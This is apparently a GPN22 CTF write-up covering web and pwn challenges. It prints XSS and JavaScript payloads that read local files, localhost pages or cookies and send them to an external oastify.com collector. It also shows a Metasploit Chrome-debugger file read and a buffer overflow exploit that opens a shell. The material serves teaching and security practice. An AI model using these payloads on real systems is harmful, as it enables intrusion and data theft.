Introduction
The last few days, I was at the GPN22 in Karlsruhe with some friends from our LuXeria hackerspace. We participated in the CTF. Here are the solutions I wrote for the challenges we solved together.
So Many Flags
Description
I heard you like flags, so I launched Chrome with a lot of flags so you can get your flag!
The flag is in
/flag.txt
, and the bot will visit the HTML file you uploaded!
- Category: Web
Analysis
There is a file upload form:
Google Chrome is started with numerous flags and the uploaded file:
const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${filePath}"`;
The following flags are included, which disable the same origin policy and allow local file access:
--disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir
It’s therefore possible to read files from other origins, including the file://
URI scheme for local files.
Solution
Upload a HTML file which reads the local file:
<script>
async function getFlag(){
response = await fetch("file:///flag.txt");
flag = await response.text();
fetch("https://lk922ygynkim4zy48onzs2xaw12sqnec.oastify.com/", { method: "POST", body: flag})
};
getFlag();
</script>
The server will read the flag and send it to the external system:
POST / HTTP/1.1
Host: lk922ygynkim4zy48onzs2xaw12sqnec.oastify.com
[...]
GPNCTF{CL1_FL4G5_4R3_FL4G5_T00}
Even more flags
Description
I heard you like flags, so I launched Chrome with a lot of flags again so you can get your flag!
This time the flag is
localhost:1337/flag
, and the bot will visit your URL!
- Category: Web
Analysis
Similar challenge as So many flags, but this time, the flag is served on http://localhost:1337/flag and an URL instead of a file can be provided to the server which will then be opened by a Chrome browser:
Google Chrome is started with numerous flags and the provided URL:
const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${url}"`;
The following flags are included, which disable the same origin policy:
--disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir
It’s therefore possible to read files from other origins.
Solution
Store the following HTML file on a server and provide the URL to the application:
<script>
async function getFlag(){
response = await fetch("http://localhost:1337/flag");
flag = await response.text();
fetch("https://lk922ygynkim4zy48onzs2xaw12sqnec.oastify.com/", { method: "POST", body: flag})
};
getFlag();
</script>
The server will read the flag and send it to the external system:
POST / HTTP/1.1
Host: lk922ygynkim4zy48onzs2xaw12sqnec.oastify.com
[...]
GPNCTF{WHY_D0_50M3_0F_TH353_FL4G5_3V3N_3X15T}
todo
Description
I made a JS API! Sadly I had no time to finish it :(
- Category: Web
Analysis
There are two input fields:
The first input field reflects user input:
app.post('/chal', (req, res) => {
const { html } = req.body;
res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' 'unsafe-inline';");
res.send(`
<script src="/script.js"></script>
${html}
`);
});
The file script.js
contains a pseudo-flag as a comment:
class FlagAPI {
[...]
// TODO: Make sure that this is secure before deploying
// getFlag() {
// return "GPNCTF{FAKE_FLAG_ADMINBOT_WILL_REPLACE_ME}"
// }
}
When cookie with a specific random value is set, the pseudo-flag is replaced with the real flag:
app.get('/script.js', (req, res) => {
res.type('.js');
let response = script;
if ((req.get("cookie") || "").includes(randomBytes)) response = response.replace(/GPNCTF\{.*\}/, flag)
res.send(response);
});
When a payload is submitted in the second input field, a chrome browser is started with the cookie containing the correct random value. Then, the submitted payload is typed into the first input field and a screenshot of the rendered page is shown:
app.post('/admin', async (req, res) => {
try {
const { html } = req.body;
const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
const page = await browser.newPage();
page.setCookie({ name: 'flag', value: randomBytes, domain: 'localhost', path: '/', httpOnly: true });
await page.goto('http://localhost:1337/');
await page.type('input[name="html"]', html);
await page.click('button[type="submit"]');
await new Promise(resolve => setTimeout(resolve, 2000));
const screenshot = await page.screenshot({ encoding: 'base64' });
await browser.close();
res.send(`<img src="data:image/png;base64,${screenshot}" />`);
} catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});
Solution
The first input field is vulnerable to reflected XSS:
POST /chal HTTP/1.1
Host: never-forget-you--zara-larsson-3555.ctf.kitctf.de
[...]
html=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E
HTTP/1.1 200 OK
[...]
<script src="/script.js"></script>
<img src=x onerror=alert(document.domain)>
The payload is executed:
It’s now possible to perform a redirect to the file script.js
which contains the pseudo-flag:
<img src=x onerror="document.location = '/script.js'">
When this payload is used in the admin input field, the browser containing the correct cookie will also submit this payload and redirect to the script.js
. Because the correct cookie is set, the flag is included in the response:
todo-hard
Description
I made a JS API! Sadly I had no time to finish it :(
But I had time to make it harder!
- Category: Web
Analysis
This is similar to the todo
challenge, but this time, the flag in the response will be replaced by "nope"
:
app.post('/admin', async (req, res) => {
try {
const { html } = req.body;
const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
const page = await browser.newPage();
page.setCookie({ name: 'flag', value: randomBytes, domain: 'localhost', path: '/', httpOnly: true });
await page.goto('http://localhost:1337/');
await page.type('input[name="html"]', html);
await page.click('button[type="submit"]');
await new Promise(resolve => setTimeout(resolve, 2000));
// NEW: run JS to replace the flag with "nope"
await page.evaluate((flag) => { document.body.outerHTML = document.body.outerHTML.replace(flag, "nope") }, flag)
const screenshot = await page.screenshot({ encoding: 'base64' });
await browser.close();
res.send(`<img src="data:image/png;base64,${screenshot}" />`);
} catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});
Solution
The prototype of the replace
function can be overwritten, so that another “replace” function is executed which just returns the first argument, instead of performing an actual replacement:
<script>
function Fun(a, b){ return a;};
String.prototype.replace = Fun;
</script>
The flag can then be seen in the screenshot in the response:
Refined Notes
Description
All my friends warned me about xss, so I created this note taking app that only accepts “refined” Notes.
- Category: Web
Analysis
The website has an input text field:
On submit, the user input is sanitized client-side by DOMPurify and then sent to the server:
submit.addEventListener('click', (e) => {
const purified = DOMPurify.sanitize(note.value);
fetch("/", {
method: "POST",
body: purified
}).then(response => response.text()).then((id) => {
window.history.pushState({page: ''}, id, `/${id}`);
submit.classList.add('hidden');
note.classList.add('hidden');
noteframe.classList.remove('hidden');
noteframe.srcdoc = purified;
});
});
Example:
POST / HTTP/1.1
Host: run-it--juelz-santana-7793.ctf.kitctf.de
[...]
ThisIsMyInput
HTTP/1.1 200 OK
[...]
0a9f3f23-03a6-4221-ae29-326adb83717d
The response returns a UUID for a new note. When this note is accessed, the user input is shown directly in the HTTP response in the srcdoc
attribute of an iframe
tag:
GET /0a9f3f23-03a6-4221-ae29-326adb83717d HTTP/1.1
Host: run-it--juelz-santana-7793.ctf.kitctf.de
[...]
HTTP/1.1 200 OK
[...]
<!DOCTYPE html>
[...]
<iframe id="noteframe" class=" bg-white w-full px-3 py-2 border rounded-md h-60" srcdoc="ThisIsMyInput"></iframe>
[...]
Another endpoint accepts a note UUID which will be visited by an admin user:
Solution
The following payload could be used to read the cookie and exfiltrate it to an external system:
<img src=x onerror="fetch('https://637nljzj6517nkhpr96kbngvfmld9axz.oastify.com' + '/?flag=' + document.cookie)">
This payload is however correctly sanitized. However, it’s possible to use HTML encoded values inside the srcdoc
attribute of the iframe
tag. This can e.g. be converted using CyberChef:
<img src=x onerror="fetch('https://637nljzj6517nkhpr96kbngvfmld9axz.oastify.com' + '/?flag=' + document.cookie)">
Submit this payload:
POST / HTTP/1.1
Host: run-it--juelz-santana-7793.ctf.kitctf.de
[...]
<img src=x onerror="fetch('https://637nljzj6517nkhpr96kbngvfmld9axz.oastify.com' + '/?flag=' + document.cookie)">
HTTP/1.1 200 OK
[...]
a9e39bd7-e234-45ee-a2c2-bc388b58ff02
Sending this UUID to the admin to let the admin visit the prepared note containing the XSS payload. When the admin visits this page, a request will be sent to the server containing the cookie which is the flag:
GET /?flag=flag=GPNCTF%7B3nc0d1ng_1s_th3_r00t_0f_4ll_3v1l%7D HTTP/1.1
Host: 637nljzj6517nkhpr96kbngvfmld9axz.oastify.com
[...]
Resources
Inspect Element
Description
Maybe using Inspect Element will help you!
Small hint: If you’re struggling with reproducing it on remote, you can use
socat
to proxy the remote instance tolocalhost:1337
like this:socat TCP-LISTEN:1337,fork OPENSSL:xxx--xxx-1234.ctf.kitctf.de:443
and it should behave exactly like a locally running docker container.
- Category: Web
Analysis
The server starts a Chrome process with the remote debugging port exposed:
socat tcp-listen:1337,fork tcp:localhost:13370 & \
google-chrome --remote-debugging-port=13370 --disable-gpu --headless=new --no-sandbox google.com
Solution
Forward a local port to the exposed debugging port (to have the port available via TCP and not only TLS):
socat TCP-LISTEN:1337,fork OPENSSL:how-deep-is-your-love--disciples-2841.ctf.kitctf.de:443
Use metasploit to read files via the exposed debugging port and get the flag:
msf6 > use auxiliary/gather/chrome_debugger
msf6 auxiliary(gather/chrome_debugger) > set FILEPATH /flag
msf6 auxiliary(gather/chrome_debugger) > set RHOSTS 127.0.0.1
msf6 auxiliary(gather/chrome_debugger) > set RPORT 1337
msf6 auxiliary(gather/chrome_debugger) > run
[*] Running module against 127.0.0.1
[*] Attempting Connection to ws://127.0.0.1:1337/devtools/page/67C7888B105174679C2317632CA196A6
[*] Opened connection
[*] Attempting to load url file:///flag
[*] Received Data
[*] Sending request for data
[*] Received Data
[+] Stored file:///flag at /home/emanuel/.msf4/loot/20240601211048_default_127.0.0.1_chrome.debugger._933372.txt
[*] Auxiliary module execution completed
msf6 auxiliary(gather/chrome_debugger) > exit
$ cat /home/emanuel/.msf4/loot/20240601211341_default_127.0.0.1_chrome.debugger._870365.txt
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">GPNCTF{D4NG3R0U5_D3BUGG3R}
</pre></body></html>
Resources
Never gonna give you UB
Description
Can you get this program to do what you want?
- Category: pwn
Analysis
Code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void scratched_record() {
printf("Oh no, your record seems scratched :(\n");
printf("Here's a shell, maybe you can fix it:\n");
execve("/bin/sh", NULL, NULL);
}
extern char *gets(char *s);
int main() {
printf("Song rater v0.1\n-------------------\n\n");
char buf[0xff];
printf("Please enter your song:\n");
gets(buf);
printf("\"%s\" is an excellent choice!\n", buf);
return 0;
}
The goal is to overwrite the buffer buf
and jump to the scratched_record
function in order to start a shell and read the flag.
Solution
Start binary in GDB (gdb-peda was used to simplify some stuff):
$ gdb ./song_rater
gdb-peda$
Create a pattern:
gdb-peda$ pattern_create 400
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATA
AqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A
%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'
Start the program with the generated pattern as input and let it crash:
gdb-peda$ run < <(python -c 'print("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")')
Starting program: /home/emanuel/gpn22ctf/never-gonna-give-you-ub/song_rater < <(python -c 'print("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Song rater v0.1
-------------------
Please enter your song:
"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y" is an excellent choice!
Program received signal SIGSEGV, Segmentation fault.
The stack pointer RSP
contains an address pointing to the following string:
RSP: 0x7fffffffdac8 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
Therefore, it’s possible to control the stack pointer value. The controllable offset starts at byte 264:
gdb-peda$ pattern_offset "HA%dA%3A%IA%eA%4"
HA%dA%3A%IA%eA%4 found at offset: 264
The scratched_record
function that starts a shell starts at 0x0000000000401196
:
gdb-peda$ disass scratched_record
quit
Dump of assembler code for function scratched_record:
0x0000000000401196 <+0>: endbr64
0x000000000040119a <+4>: push rbp
[...]
Filling the buffer with 263 bytes of A
and then the address of the scratched_record
function in order to call it:
gdb-peda$ run < <(python -c 'print("A" * 263 + "\x96\x11\x40\x00\x00\x00\x00\x00")')
Starting program: /home/emanuel/gpn22ctf/never-gonna-give-you-ub/song_rater < <(python -c 'print("A" * 263 + "\x96\x11\x40\x00\x00\x00\x00\x00")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Song rater v0.1
-------------------
Please enter your song:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@" is an excellent choice!
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:
process 40380 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
The output shows that the shell was started.
Running the exploit against the target system to get a shell and read the flag:
$ (python -c 'print("A" * 263 + "\x96\x11\x40\x00\x00\x00\x00\x00")'; cat ) | ncat --ssl only-time--gunna-1152.ctf.kitctf.de 443
Song rater v0.1
-------------------
Please enter your song:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@" is an excellent choice!
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:
cat /flag
GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}
References
- GPN22: https://entropia.de/GPN22
- CTFtime event: https://ctftime.org/event/2257